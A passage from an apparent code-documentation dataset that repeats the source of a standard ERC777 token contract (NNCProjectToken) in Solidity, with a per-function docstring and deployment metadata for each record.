* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
| /**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
3272,
3395
]
} | 59,935 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | send | function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
| /**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
3520,
3691
]
} | 59,936 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
3927,
4368
]
} | 59,937 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
